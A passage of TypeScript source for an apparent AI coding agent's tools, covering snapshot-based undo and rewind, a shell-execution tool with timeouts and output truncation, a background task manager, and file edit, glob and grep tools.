stack.push(...snapshots.slice(-MAX_SNAPSHOTS));\n for (const snapshot of stack) {\n if (snapshot.id > checkpointSeq) checkpointSeq = snapshot.id;\n }\n}\n\nasync function resolveContent(snapshot: FileSnapshot): Promise<string | null> {\n if (snapshot.content !== null) return snapshot.content;\n if (!snapshot.contentFile) return null;\n try {\n return await readFile(snapshot.contentFile, \"utf8\");\n } catch {\n return null;\n }\n}\n\nasync function revert(snapshot: FileSnapshot): Promise<string> {\n if (snapshot.existed) {\n if (snapshot.contentTooLarge) {\n return `Skipped ${snapshot.path}: content too large, not restored.`;\n }\n const content = await resolveContent(snapshot);\n if (content === null) {\n return `Skipped ${snapshot.path}: the snapshot content is no longer available.`;\n }\n await mkdir(path.dirname(snapshot.path), { recursive: true });\n await writeFile(snapshot.path, content, \"utf8\");\n return `Restored ${snapshot.path} to its state before ${snapshot.toolName}.`;\n }\n await rm(snapshot.path, { force: true });\n return `Deleted ${snapshot.path} (it did not exist before ${snapshot.toolName}).`;\n}\n\nexport async function undoLastSnapshot(): Promise<string> {\n const snapshot = stack[stack.length - 1];\n if (!snapshot) {\n return \"Nothing to undo (/undo only reverts file changes made by write_file/edit_file, and none are recorded yet).\";\n }\n try {\n const message = await revert(snapshot);\n stack.pop();\n await removeFromStore([snapshot.id]);\n return message;\n } catch (err) {\n return `Failed to revert ${snapshot.path}: ${(err as Error).message} (checkpoint kept)`;\n }\n}\n\n// Read-only view of the snapshots a turn-scoped /undo would revert, in the\n// same newest-first order undoTurnSnapshots applies them. Subagent snapshots\n// are excluded unless includeSubagent is set.\nexport function listTurnSnapshots(turn: number, includeSubagent = false): FileSnapshot[] {\n return stack\n .filter(\n (snapshot) => snapshot.turn === turn && (includeSubagent || ownerOf(snapshot) === \"root\"),\n )\n .reverse();\n}\n\n// Old content of a snapshot, reading the persisted content file when the\n// snapshot was hydrated from a resumed session. Exported for the read-only\n// /undo preview; revert() uses the same path.\nexport function resolveSnapshotContent(snapshot: FileSnapshot): Promise<string | null> {\n return resolveContent(snapshot);\n}\n\n// Reverts every snapshot created by the given turn, newest first, and leaves\n// snapshots from other turns untouched. A snapshot that fails to revert stays\n// on the stack (and keeps its persisted checkpoint); the returned messages\n// report each file's outcome.\nexport async function undoTurnSnapshots(turn: number, includeSubagent = false): Promise<string[]> {\n const matches: FileSnapshot[] = [];\n for (let i = stack.length - 1; i >= 0; i--) {\n const snapshot = stack[i];\n if (snapshot && snapshot.turn === turn && (includeSubagent || ownerOf(snapshot) === \"root\")) {\n matches.push(snapshot);\n }\n }\n const messages: string[] = [];\n const revertedIds: number[] = [];\n for (const snapshot of matches) {\n try {\n messages.push(await revert(snapshot));\n const idx = stack.indexOf(snapshot);\n if (idx >= 0) stack.splice(idx, 1);\n revertedIds.push(snapshot.id);\n } catch (err) {\n messages.push(\n `Failed to revert ${snapshot.path}: ${(err as Error).message} (checkpoint kept)`,\n );\n }\n }\n await removeFromStore(revertedIds);\n return messages;\n}\n\n// Removes a turn's snapshots from the stack and the persisted store WITHOUT\n// reverting them: the git-tree /undo path already restored the whole working\n// tree, so replaying the per-file reverts would double-restore. Returns the\n// number of dropped snapshots.\nexport async function dropTurnSnapshots(turn: number, includeSubagent = false): Promise<number> {\n const dropped: number[] = [];\n for (let i = stack.length - 1; i >= 0; i--) {\n const snapshot = stack[i];\n if (snapshot && snapshot.turn === turn && (includeSubagent || ownerOf(snapshot) === \"root\")) {\n dropped.push(snapshot.id);\n stack.splice(i, 1);\n }\n }\n await removeFromStore(dropped);\n return dropped.length;\n}\n\nexport interface RewindResult {\n reverted: string[];\n // Smallest conversation message index among the reverted snapshots; the\n // caller retracts the conversation back to this point. null when none of\n // the reverted snapshots carries turn context.\n messageIndex: number | null;\n}\n\n// Reverts every snapshot from checkpoint `id` onwards, newest first, restoring\n// the file state as it was just before that checkpoint. Successfully reverted\n// snapshots are dropped from the stack (and from the persisted store via\n// hooks); a snapshot that fails to revert stays on the stack, keeps its\n// persisted checkpoint, and gets a failure line in the result.\nexport async function rewindToSnapshot(\n id: number,\n includeSubagent = false,\n): Promise<RewindResult | null> {\n if (!stack.some((snapshot) => snapshot.id === id)) return null;\n const matches: FileSnapshot[] = [];\n for (let i = stack.length - 1; i >= 0; i--) {\n const snapshot = stack[i];\n if (snapshot && snapshot.id >= id && (includeSubagent || ownerOf(snapshot) === \"root\")) {\n matches.push(snapshot);\n }\n }\n const reverted: string[] = [];\n const revertedIds: number[] = [];\n let messageIndex: number | null = null;\n for (const snapshot of matches) {\n try {\n reverted.push(await revert(snapshot));\n const idx = stack.indexOf(snapshot);\n if (idx >= 0) stack.splice(idx, 1);\n revertedIds.push(snapshot.id);\n if (snapshot.messageIndex >= 0) {\n messageIndex =\n messageIndex === null\n ? snapshot.messageIndex\n : Math.min(messageIndex, snapshot.messageIndex);\n }\n } catch (err) {\n reverted.push(\n `Failed to revert ${snapshot.path}: ${(err as Error).message} (checkpoint kept)`,\n );\n }\n }\n await removeFromStore(revertedIds);\n return { reverted, messageIndex };\n}\n","import { type ChildProcess, spawn } from \"node:child_process\";\nimport { existsSync } from \"node:fs\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport { defaultTaskManager } from \"../tasks/manager\";\nimport type { Tool, ToolResult } from \"./types\";\n\nexport const MAX_OUTPUT = 30000;\nconst HALF_OUTPUT = MAX_OUTPUT / 2;\nconst DEFAULT_TIMEOUT = 120;\nconst MAX_TIMEOUT = 600;\n\nexport interface ShellSpec {\n shell: string;\n wrap: (command: string) => string[];\n label: string;\n}\n\nfunction findOnPath(exe: string, exclude?: (dir: string) => boolean): string | null {\n for (const dir of (process.env.PATH ?? \"\").split(path.delimiter)) {\n if (!dir || exclude?.(dir)) {\n continue;\n }\n const full = path.join(dir, exe);\n if (existsSync(full)) {\n return full;\n }\n }\n return null;\n}\n\nfunction resolveShellUncached(): ShellSpec {\n if (process.platform !== \"win32\") {\n return { shell: \"sh\", wrap: (c) => [\"-c\", c], label: \"sh\" };\n }\n const isWslStub = (dir: string) => /\\\\(system32|windowsapps)\\\\?$/i.test(dir.trim());\n const fromPath = findOnPath(\"bash.exe\", isWslStub);\n if (fromPath) {\n return { shell: fromPath, wrap: (c) => [\"-c\", c], label: \"bash\" };\n }\n const gitExe = findOnPath(\"git.exe\");\n if (gitExe) {\n const sibling = path.join(path.dirname(path.dirname(gitExe)), \"bin\", \"bash.exe\");\n if (existsSync(sibling)) {\n return { shell: sibling, wrap: (c) => [\"-c\", c], label: \"bash\" };\n }\n }\n for (const candidate of [\n \"C:\\\\Program Files\\\\Git\\\\bin\\\\bash.exe\",\n \"C:\\\\Program Files (x86)\\\\Git\\\\bin\\\\bash.exe\",\n \"D:\\\\Git\\\\bin\\\\bash.exe\",\n ]) {\n if (existsSync(candidate)) {\n return { shell: candidate, wrap: (c) => [\"-c\", c], label: \"bash\" };\n }\n }\n const comspec = process.env.ComSpec ?? \"cmd.exe\";\n return { shell: comspec, wrap: (c) => [\"/d\", \"/s\", \"/c\", c], label: \"cmd\" };\n}\n\n// The PATH scan runs once per process; the shell cannot change mid-session.\nlet cachedSpec: ShellSpec | null = null;\n\nexport function resolveShell(): ShellSpec {\n if (!cachedSpec) {\n cachedSpec = resolveShellUncached();\n }\n return cachedSpec;\n}\n\nconst schema = z.object({\n command: z.string().describe(\"Shell command to execute\"),\n timeout: z\n .number()\n .positive()\n .max(MAX_TIMEOUT)\n .optional()\n .describe(\"Timeout in seconds (default 120, max 600)\"),\n description: z.string().optional().describe(\"Short description of what the command does\"),\n run_in_background: z\n .boolean()\n .optional()\n .describe(\n \"Run the command in the background and return a task id immediately (default false). Use task_output/task_kill to inspect or stop it.\",\n ),\n});\n\nexport function killTree(child: ChildProcess): void {\n if (process.platform === \"win32\") {\n if (child.pid) {\n spawn(\"taskkill\", [\"/pid\", String(child.pid), \"/t\", \"/f\"], {\n windowsHide: true,\n stdio: \"ignore\",\n }).unref();\n }\n return;\n }\n // POSIX children spawn detached, so the pid leads a process group and a\n // negative-pid kill reaches shell grandchildren too.\n if (child.pid) {\n try {\n process.kill(-child.pid, \"SIGKILL\");\n return;\n } catch {\n // group already gone (or not detached): fall back to the direct kill\n }\n }\n child.kill(\"SIGKILL\");\n}\n\n// Bounds memory while a command streams: once the output passes MAX_OUTPUT\n// the first half is kept verbatim, the second half rolls, and the dropped\n// middle is counted so toString() matches truncating the unbounded string.\nclass BoundedOutput {\n private head = \"\";\n private tail = \"\";\n private dropped = 0;\n private overflow = false;\n\n append(text: string): void {\n if (!this.overflow) {\n this.head += text;\n if (this.head.length <= MAX_OUTPUT) {\n return;\n }\n this.overflow = true;\n this.tail = this.head.slice(HALF_OUTPUT);\n this.head = this.head.slice(0, HALF_OUTPUT);\n if (this.tail.length > HALF_OUTPUT) {\n this.dropped = this.tail.length - HALF_OUTPUT;\n this.tail = this.tail.slice(-HALF_OUTPUT);\n }\n return;\n }\n this.tail += text;\n if (this.tail.length > HALF_OUTPUT) {\n this.dropped += this.tail.length - HALF_OUTPUT;\n this.tail = this.tail.slice(-HALF_OUTPUT);\n }\n }\n\n toString(): string {\n if (!this.overflow) {\n return this.head;\n }\n return `${this.head}\\n... [${this.dropped} characters truncated] ...\\n${this.tail}`;\n }\n}\n\nexport const bashTool: Tool<typeof schema> = {\n name: \"bash\",\n description:\n \"Execute a shell command (Git Bash on Windows when available, otherwise cmd; sh elsewhere). Stdout and stderr are merged. Output is truncated to 30000 characters. Set run_in_background for long-running commands; it returns a task id for task_list/task_output/task_kill.\",\n permission: \"exec\",\n parameters: schema,\n execute(args, ctx) {\n if (args.run_in_background) {\n const task = defaultTaskManager.start({\n command: args.command,\n description: args.description,\n cwd: ctx.cwd,\n timeoutSeconds: args.timeout,\n });\n return Promise.resolve({\n content: `Background task started: ${task.id}\\ncommand: ${args.command}\\ndescription: ${args.description ?? \"(none)\"}`,\n });\n }\n const timeoutSeconds = Math.min(args.timeout ?? DEFAULT_TIMEOUT, MAX_TIMEOUT);\n const spec = resolveShell();\n return new Promise<ToolResult>((resolve) => {\n const child = spawn(spec.shell, spec.wrap(args.command), {\n cwd: ctx.cwd,\n windowsHide: true,\n detached: process.platform !== \"win32\",\n });\n const output = new BoundedOutput();\n let settled = false;\n const finish = (result: ToolResult) => {\n if (settled) {\n return;\n }\n settled = true;\n clearTimeout(timer);\n ctx.abortSignal?.removeEventListener(\"abort\", onAbort);\n resolve(result);\n };\n const onAbort = () => {\n killTree(child);\n finish({ content: `${output}\\nCommand aborted`, isError: true });\n };\n const timer = setTimeout(() => {\n killTree(child);\n finish({\n content: `${output}\\nCommand timed out after ${timeoutSeconds}s`,\n isError: true,\n });\n }, timeoutSeconds * 1000);\n timer.unref();\n child.stdout.on(\"data\", (d: Buffer) => output.append(d.toString(\"utf8\")));\n child.stderr.on(\"data\", (d: Buffer) => output.append(d.toString(\"utf8\")));\n child.on(\"error\", (err) => {\n finish({ content: `Failed to start shell '${spec.label}': ${err.message}`, isError: true });\n });\n ctx.abortSignal?.addEventListener(\"abort\", onAbort);\n child.on(\"close\", (code) => {\n const trimmed = output.toString().replace(/\\s+$/, \"\");\n if (code === 0) {\n finish({ content: trimmed || \"(no output)\" });\n return;\n }\n finish({\n content: `${trimmed}${trimmed ? \"\\n\" : \"\"}Exit code: ${code ?? \"unknown\"}`,\n isError: true,\n });\n });\n });\n },\n};\n","import { type ChildProcess, spawn } from \"node:child_process\";\nimport { EventEmitter } from \"node:events\";\nimport { killTree, resolveShell } from \"../tools/bash\";\n\nexport type TaskStatus = \"running\" | \"completed\" | \"failed\" | \"timed_out\" | \"stopped\";\n\nexport interface TaskSnapshot {\n id: string;\n command: string;\n description?: string;\n status: TaskStatus;\n startedAt: number;\n endedAt?: number;\n exitCode?: number | null;\n output: string;\n}\n\nexport const MAX_TASK_OUTPUT = 100_000;\nexport const DEFAULT_TASK_TIMEOUT = 3600;\n// Finished records are pruned to this many most-recent entries so a long\n// session's task history cannot grow without bound; running tasks are never\n// evicted.\nexport const MAX_FINISHED_RECORDS = 50;\n\nconst TRUNCATED_PREFIX = \"[... earlier output truncated ...]\\n\";\n\ninterface TaskRecord {\n id: string;\n command: string;\n description?: string;\n status: TaskStatus;\n startedAt: number;\n endedAt?: number;\n exitCode?: number | null;\n output: string;\n truncated: boolean;\n child: ChildProcess;\n timer?: NodeJS.Timeout;\n}\n\nexport interface StartTaskOptions {\n command: string;\n description?: string;\n cwd: string;\n timeoutSeconds?: number;\n}\n\nexport class TaskManager extends EventEmitter {\n private records = new Map<string, TaskRecord>();\n private seq = 0;\n\n start(opts: StartTaskOptions): TaskSnapshot {\n const id = `task-${++this.seq}`;\n const spec = resolveShell();\n const child = spawn(spec.shell, spec.wrap(opts.command), {\n cwd: opts.cwd,\n windowsHide: true,\n // POSIX: the child leads its own process group so killTree can SIGKILL\n // the whole tree with a negative pid (Windows uses taskkill /t).\n detached: process.platform !== \"win32\",\n });\n const rec: TaskRecord = {\n id,\n command: opts.command,\n description: opts.description,\n status: \"running\",\n startedAt: Date.now(),\n output: \"\",\n truncated: false,\n child,\n };\n this.records.set(id, rec);\n\n const append = (d: Buffer) => {\n rec.output += d.toString(\"utf8\");\n if (rec.output.length > MAX_TASK_OUTPUT) {\n rec.output = rec.output.slice(-MAX_TASK_OUTPUT);\n rec.truncated = true;\n }\n };\n child.stdout.on(\"data\", append);\n child.stderr.on(\"data\", append);\n child.on(\"error\", (err) => {\n append(Buffer.from(`Failed to start shell '${spec.label}': ${err.message}\\n`));\n if (rec.status === \"running\") {\n this.finish(rec, \"failed\", null);\n }\n });\n child.on(\"close\", (code) => {\n if (rec.status !== \"running\") return;\n this.finish(rec, code === 0 ? \"completed\" : \"failed\", code);\n });\n\n const timeoutSeconds = opts.timeoutSeconds ?? DEFAULT_TASK_TIMEOUT;\n rec.timer = setTimeout(() => this.terminate(rec, \"timed_out\"), timeoutSeconds * 1000);\n rec.timer.unref();\n\n this.emitUpdate(rec);\n return this.snapshot(rec);\n }\n\n get(id: string): TaskSnapshot | undefined {\n const rec = this.records.get(id);\n return rec ? this.snapshot(rec) : undefined;\n }\n\n list(): TaskSnapshot[] {\n return [...this.records.values()].map((rec) => this.snapshot(rec));\n }\n\n runningCount(): number {\n let count = 0;\n for (const rec of this.records.values()) {\n if (rec.status === \"running\") count += 1;\n }\n return count;\n }\n\n kill(id: string): TaskSnapshot | undefined {\n const rec = this.records.get(id);\n if (!rec || rec.status !== \"running\") return undefined;\n this.terminate(rec, \"stopped\");\n return this.snapshot(rec);\n }\n\n cleanup(): TaskSnapshot[] {\n const killed: TaskSnapshot[] = [];\n for (const rec of this.records.values()) {\n if (rec.status === \"running\") {\n this.terminate(rec, \"stopped\");\n killed.push(this.snapshot(rec));\n }\n }\n return killed;\n }\n\n private terminate(rec: TaskRecord, status: TaskStatus): void {\n killTree(rec.child);\n this.finish(rec, status, null);\n }\n\n private finish(rec: TaskRecord, status: TaskStatus, exitCode: number | null): void {\n if (rec.timer) clearTimeout(rec.timer);\n rec.status = status;\n rec.exitCode = exitCode;\n rec.endedAt = Date.now();\n this.pruneFinished();\n this.emitUpdate(rec);\n }\n\n private pruneFinished(): void {\n const finished = [...this.records.values()].filter((rec) => rec.status !== \"running\");\n if (finished.length <= MAX_FINISHED_RECORDS) return;\n finished.sort((a, b) => (a.endedAt ?? 0) - (b.endedAt ?? 0));\n for (const rec of finished.slice(0, finished.length - MAX_FINISHED_RECORDS)) {\n this.records.delete(rec.id);\n }\n }\n\n private emitUpdate(rec: TaskRecord): void {\n this.emit(\"update\", this.snapshot(rec));\n }\n\n private snapshot(rec: TaskRecord): TaskSnapshot {\n return {\n id: rec.id,\n command: rec.command,\n description: rec.description,\n status: rec.status,\n startedAt: rec.startedAt,\n endedAt: rec.endedAt,\n exitCode: rec.exitCode,\n output: rec.truncated ? TRUNCATED_PREFIX + rec.output : rec.output,\n };\n }\n}\n\nexport const defaultTaskManager = new TaskManager();\n","import { readFile, stat, writeFile } from \"node:fs/promises\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport type { Tool } from \"../types\";\nimport {\n MAX_SNAPSHOT_CONTENT_BYTES,\n currentTurnMessageIndex,\n currentTurnSeq,\n nextSnapshotId,\n pushSnapshot,\n} from \"./snapshots\";\n\nconst schema = z.object({\n path: z.string().describe(\"File path, absolute or relative to the working directory\"),\n old_string: z.string().min(1).describe(\"Exact text to replace\"),\n new_string: z.string().describe(\"Replacement text\"),\n replace_all: z\n .boolean()\n .optional()\n .describe(\"Replace every occurrence instead of requiring a unique match\"),\n});\n\nexport const editFileTool: Tool<typeof schema> = {\n name: \"edit_file\",\n description:\n \"Replace an exact string in a file. Fails if old_string is not found or matches multiple locations unless replace_all is set.\",\n permission: \"write\",\n parameters: schema,\n async execute(args, ctx) {\n const filePath = path.resolve(ctx.cwd, args.path);\n let content: string;\n let readMtimeMs: number;\n try {\n content = await readFile(filePath, \"utf8\");\n readMtimeMs = (await stat(filePath)).mtimeMs;\n } catch (err) {\n return { content: `Failed to read ${args.path}: ${(err as Error).message}`, isError: true };\n }\n let count = 0;\n let idx = content.indexOf(args.old_string);\n while (idx !== -1) {\n count += 1;\n idx = content.indexOf(args.old_string, idx + args.old_string.length);\n }\n if (count === 0) {\n return { content: `old_string not found in ${args.path}`, isError: true };\n }\n if (count > 1 && !args.replace_all) {\n return {\n content: `old_string matches ${count} locations in ${args.path}; provide more surrounding context or set replace_all`,\n isError: true,\n };\n }\n const updated = args.replace_all\n ? content.split(args.old_string).join(args.new_string)\n : content.replace(args.old_string, () => args.new_string);\n try {\n // Guard against a silent overwrite when the file changed on disk\n // between our read and our write.\n const now = await stat(filePath).catch(() => null);\n if (!now || now.mtimeMs !== readMtimeMs) {\n return {\n content: `Failed to edit ${args.path}: file changed since it was read; re-read and retry`,\n isError: true,\n };\n }\n await writeFile(filePath, updated, \"utf8\");\n } catch (err) {\n return { content: `Failed to write ${args.path}: ${(err as Error).message}`, isError: true };\n }\n const contentTooLarge = Buffer.byteLength(content, \"utf8\") > MAX_SNAPSHOT_CONTENT_BYTES;\n await pushSnapshot({\n id: nextSnapshotId(),\n path: filePath,\n existed: true,\n content: contentTooLarge ? null : content,\n contentTooLarge: contentTooLarge || undefined,\n toolName: \"edit_file\",\n timestamp: Date.now(),\n turn: ctx.snapshotContext?.turn ?? currentTurnSeq(),\n messageIndex: ctx.snapshotContext?.messageIndex ?? currentTurnMessageIndex(),\n owner: ctx.snapshotContext?.owner ?? \"root\",\n });\n return { content: `Edited ${args.path}: ${count} replacement${count > 1 ? \"s\" : \"\"}` };\n },\n};\n","import path from \"node:path\";\nimport { z } from \"zod\";\nimport type { Tool } from \"../types\";\nimport { createIgnorePredicate, matchesGlob, walkFiles } from \"./util\";\n\nconst MAX_RESULTS = 100;\n\nconst GLOB_MAGIC = /[*?[{]/;\n\n// Leading directory segments without glob magic (everything before the final\n// segment, which may name a file) let src/**/*.ts walk <root>/src directly\n// instead of descending the whole tree. Matched paths are re-prefixed before\n// matching and display so output stays relative to the requested root.\nfunction literalDirPrefix(pattern: string): string[] {\n const segments = pattern.replace(/\\\\/g, \"/\").split(\"/\").slice(0, -1);\n const out: string[] = [];\n for (const segment of segments) {\n if (segment === \"\" || GLOB_MAGIC.test(segment)) {\n break;\n }\n out.push(segment);\n }\n return out;\n}\n\nconst schema = z.object({\n pattern: z\n .string()\n .describe(\n \"Glob pattern, e.g. 'src/**/*.ts'. Supports **, *, ?, {a,b} braces and [abc] character classes. A bare pattern like '*.ts' matches basenames recursively.\",\n ),\n path: z.string().optional().describe(\"Directory to search, defaults to the working directory\"),\n});\n\nexport const globTool: Tool<typeof schema> = {\n name: \"glob\",\n description:\n \"Find files by glob pattern. Skips node_modules, .git and dist. Returns paths sorted by modification time, newest first, up to 100 results.\",\n permission: \"read\",\n parameters: schema,\n async execute(args, ctx) {\n const root = path.resolve(ctx.cwd, args.path ?? \".\");\n const prefixSegments = literalDirPrefix(args.pattern);\n const walkRoot = prefixSegments.length > 0 ? path.join(root, ...prefixSegments) : root;\n const prefix = prefixSegments.length > 0 ? `${prefixSegments.join(\"/\")}/` : \"\";\n const files = await walkFiles(walkRoot, undefined, { ignore: createIgnorePredicate(ctx.cwd) });\n const matched = files\n .filter((f) => matchesGlob(args.pattern, `${prefix}${f.rel}`))\n .sort((a, b) => b.mtimeMs - a.mtimeMs)\n .slice(0, MAX_RESULTS);\n if (matched.length === 0) {\n return { content: `No files matched pattern: ${args.pattern}` };\n }\n return { content: matched.map((f) => `${prefix}${f.rel}`).join(\"\\n\") };\n },\n};\n","import { readFileSync, statSync } from \"node:fs\";\nimport { readdir, stat } from \"node:fs/promises\";\nimport path from \"node:path\";\n\nexport const SKIP_DIRS = new Set([\"node_modules\", \".git\", \"dist\"]);\n\nexport interface WalkedFile {\n abs: string;\n rel: string;\n mtimeMs: number;\n}\n\nexport type IgnorePredicate = (absPath: string, isDir: boolean) => boolean;\n\nexport interface WalkOptions {\n ignore?: IgnorePredicate;\n // Defaults to true. Pass false when the caller does not sort by mtime (e.g.\n // grep) to skip one stat syscall per file; mtimeMs is then reported as 0.\n withMtime?: boolean;\n}\n\nexport async function walkFiles(\n root: string,\n skipDirs: Set<string> = SKIP_DIRS,\n options: WalkOptions = {},\n): Promise<WalkedFile[]> {\n const out: WalkedFile[] = [];\n async function walk(dir: string, relBase: string): Promise<void> {\n const entries = await readdir(dir, { withFileTypes: true }).catch(() => null);\n if (!entries) {\n return;\n }\n for (const entry of entries) {\n const abs = path.join(dir, entry.name);\n const rel = relBase ? `${relBase}/${entry.name}` : entry.name;\n if (entry.isDirectory()) {\n if (skipDirs.has(entry.name) || options.ignore?.(abs, true)) {\n continue;\n }\n await walk(abs, rel);\n } else if (entry.isFile()) {\n if (options.ignore?.(abs, false)) {\n continue;\n }\n if (options.withMtime === false) {\n out.push({ abs, rel, mtimeMs: 0 });\n continue;\n }\n try {\n const st = await stat(abs);\n out.push({ abs, rel, mtimeMs: st.mtimeMs });\n } catch {\n // ignore unreadable entries\n }\n }\n }\n }\n await walk(root, \"\");\n return out;\n}\n\nconst REGEX_SPECIALS = /[.+^${}()|[\\]\\\\]/g;\n\nfunction escapeRe(c: string): string {\n return c.replace(REGEX_SPECIALS, \"\\\\$&\");\n}\n\n// Supports *, **, ?, {a,b} braces (nested one level) and [abc] / [!abc]\n// character classes. Consecutive `**/` segments are collapsed into a single\n// (?:[^/]+/)* so adjacent repetitions cannot produce exponential backtracking.\nexport function globToRegExp(pattern: string): RegExp {\n let i = 0;\n\n function parseClass(): string {\n // i points at \"[\"\n let j = i + 1;\n let negate = false;\n if (pattern.charAt(j) === \"!\") {\n negate = true;\n j += 1;\n }\n let body = \"\";\n // a \"]\" right after \"[\" or \"[!\" is a literal member of the class\n if (pattern.charAt(j) === \"]\") {\n body += \"\\\\]\";\n j += 1;\n }\n while (j < pattern.length && pattern.charAt(j) !== \"]\") {\n const ch = pattern.charAt(j);\n body += ch === \"\\\\\" ? \"\\\\\\\\\" : ch;\n j += 1;\n }\n if (j < pattern.length) {\n i = j + 1;\n // a leading ^ would negate the regex class; escape it\n if (body.startsWith(\"^\")) body = `\\\\${body}`;\n return `[${negate ? \"^\" : \"\"}${body}]`;\n }\n // unterminated \"[\": match it literally\n i += 1;\n return \"\\\\[\";\n }\n\n function parseSegment(depth: number): { re: string; end: string } {\n let re = \"\";\n while (i < pattern.length) {\n const c = pattern.charAt(i);\n if (depth > 0 && (c === \",\" || c === \"}\")) {\n return { re, end: c };\n }\n if (c === \"*\") {\n if (pattern.charAt(i + 1) === \"*\") {\n i += 2;\n if (pattern.charAt(i) === \"/\") {\n i += 1;\n re += \"(?:[^/]+/)*\";\n while (pattern.startsWith(\"**/\", i)) {\n i += 3;\n }\n } else {\n re += \".*\";\n }\n } else {\n re += \"[^/]*\";\n i += 1;\n }\n continue;\n }\n if (c === \"?\") {\n re += \"[^/]\";\n i += 1;\n continue;\n }\n if (c === \"[\") {\n re += parseClass();\n continue;\n }\n if (c === \"{\" && depth < 2) {\n const close = braceEnd(i);\n if (close === -1) {\n re += \"\\\\{\";\n i += 1;\n continue;\n }\n i += 1;\n const alts: string[] = [];\n for (;;) {\n const part = parseSegment(depth + 1);\n alts.push(part.re);\n if (part.end !== \",\") break;\n i += 1;\n }\n i += 1; // consume \"}\"\n re += `(?:${alts.join(\"|\")})`;\n continue;\n }\n re += escapeRe(c);\n i += 1;\n }\n return { re, end: \"\" };\n }\n\n function braceEnd(from: number): number {\n let depth = 0;\n for (let j = from; j < pattern.length; j++) {\n const ch = pattern.charAt(j);\n if (ch === \"{\") depth += 1;\n else if (ch === \"}\") {\n depth -= 1;\n if (depth === 0) return j;\n }\n }\n return -1;\n }\n\n const { re } = parseSegment(0);\n return new RegExp(`^${re}$`);\n}\n\nexport function matchesGlob(pattern: string, relPath: string): boolean {\n const normalized = pattern.replace(/\\\\/g, \"/\");\n if (!normalized.includes(\"/\")) {\n const base = relPath.split(\"/\").pop() ?? relPath;\n return globToRegExp(normalized).test(base);\n }\n return globToRegExp(normalized).test(relPath);\n}\n\nexport const IGNORE_FILE = \".starignore\";\n\nexport interface IgnorePattern {\n pattern: string;\n dirOnly: boolean;\n}\n\nconst ignoreCache = new Map<string, { mtimeMs: number; patterns: IgnorePattern[] }>();\n\nfunction parseIgnorePatterns(body: string): IgnorePattern[] {\n const out: IgnorePattern[] = [];\n for (const raw of body.split(\"\\n\")) {\n const line = raw.trim();\n if (!line || line.startsWith(\"#\")) {\n continue;\n }\n if (line.endsWith(\"/\")) {\n const pattern = line.slice(0, -1);\n if (pattern) {\n out.push({ pattern, dirOnly: true });\n }\n } else {\n out.push({ pattern: line, dirOnly: false });\n }\n }\n return out;\n}\n\n// Reads <dir>/.starignore. Cached by file path and re-read only when the\n// mtime changes, mirroring readProjectMemory in agent/project-memory.ts.\nexport function loadIgnorePatterns(dir: string): IgnorePattern[] {\n const file = path.join(dir, IGNORE_FILE);\n let mtimeMs: number;\n try {\n mtimeMs = statSync(file).mtimeMs;\n } catch {\n return [];\n }\n const hit = ignoreCache.get(file);\n if (hit && hit.mtimeMs === mtimeMs) {\n return hit.patterns;\n }\n let patterns: IgnorePattern[] = [];\n try {\n patterns = parseIgnorePatterns(readFileSync(file, \"utf8\"));\n } catch {\n patterns = [];\n }\n ignoreCache.set(file, { mtimeMs, patterns });\n return patterns;\n}\n\n// Builds an ignore predicate from <cwd>/.starignore, or undefined when there\n// are no patterns so callers keep a zero-overhead path. Paths are matched\n// relative to cwd with forward slashes; \"!\" negation is not supported.\nexport function createIgnorePredicate(cwd: string): IgnorePredicate | undefined {\n const patterns = loadIgnorePatterns(cwd);\n if (patterns.length === 0) {\n return undefined;\n }\n const root = path.resolve(cwd);\n return (absPath, isDir) => {\n const rel = path.relative(root, absPath).split(path.sep).join(\"/\");\n if (!rel || rel.startsWith(\"..\")) {\n return false;\n }\n for (const { pattern, dirOnly } of patterns) {\n if (dirOnly && !isDir) {\n continue;\n }\n if (matchesGlob(pattern, rel)) {\n return true;\n }\n }\n return false;\n };\n}\n\nexport { isSensitivePath } from \"../../core/sensitive\";\n","import { readFile, stat } from \"node:fs/promises\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport type { Tool } from \"../types\";\nimport {\n type WalkedFile,\n createIgnorePredicate,\n isSensitivePath,\n matchesGlob,\n walkFiles,\n} from \"./util\";\n\nconst MAX_MATCHES = 250;\nconst MAX_LINE_CHARS = 500;\nconst MAX_PATTERN_CHARS = 200;\nconst MAX_FILE_BYTES = 5 * 1024 * 1024;\n\n// Very long patterns are usually pasted blobs, and a quantified group is the\n// classic catastrophic-backtracking shape — reject both before they hang the\n// process on a large tree.\nfunction isTooComplexPattern(pattern: string): boolean {\n return (\n pattern.length > MAX_PATTERN_CHARS || /\\)[+*]/.test(pattern) || /\\)\\{\\d+(,\\d*)?\\}/.test(pattern)\n );\n}\n\nconst schema = z.object({\n pattern: z.string().describe(\"Regular expression to search for\"),\n path: z\n .string()\n .optional()\n .describe(\"File or directory to search, defaults to the working directory\"),\n glob: z\n .string()\n .optional()\n .describe(\"Glob pattern to filter which files are searched, e.g. '*.ts'\"),\n ignoreCase: z.boolean().optional().describe(\"Case-insensitive matching\"),\n});\n\nexport const grepTool: Tool<typeof schema> = {\n name: \"grep\",\n description:\n \"Search file contents with a regular expression. Outputs 'file:line:content', up to 250 matches. Skips binary files, files over 5MB, sensitive files, node_modules and .git.\",\n permission: \"read\",\n parameters: schema,\n async execute(args, ctx) {\n if (isTooComplexPattern(args.pattern)) {\n return {\n content: `pattern too complex: keep it under ${MAX_PATTERN_CHARS} characters and avoid quantified groups like (a+)+`,\n isError: true,\n };\n }\n let re: RegExp;\n try {\n re = new RegExp(args.pattern, args.ignoreCase ? \"i\" : \"\");\n } catch (err) {\n return { content: `Invalid regular expression: ${(err as Error).message}`, isError: true };\n }\n const root = path.resolve(ctx.cwd, args.path ?? \".\");\n let files: WalkedFile[];\n try {\n const st = await stat(root);\n if (st.isFile()) {\n if (isSensitivePath(root)) {\n return {\n content: `Refused to grep sensitive file: ${args.path ?? \".\"}`,\n isError: true,\n };\n }\n files = [{ abs: root, rel: path.basename(root), mtimeMs: st.mtimeMs }];\n } else {\n const walked = await walkFiles(root, undefined, {\n ignore: createIgnorePredicate(ctx.cwd),\n withMtime: false,\n });\n files = walked.filter((f) => !isSensitivePath(f.abs));\n }\n } catch {\n return { content: `Path not found: ${args.path ?? \".\"}`, isError: true };\n }\n if (args.glob) {\n const glob = args.glob;\n files = files.filter((f) => matchesGlob(glob, f.rel));\n }\n const out: string[] = [];\n let truncated = false;\n let skippedLarge = 0;\n outer: for (const file of files) {\n const st = await stat(file.abs).catch(() => null);\n if 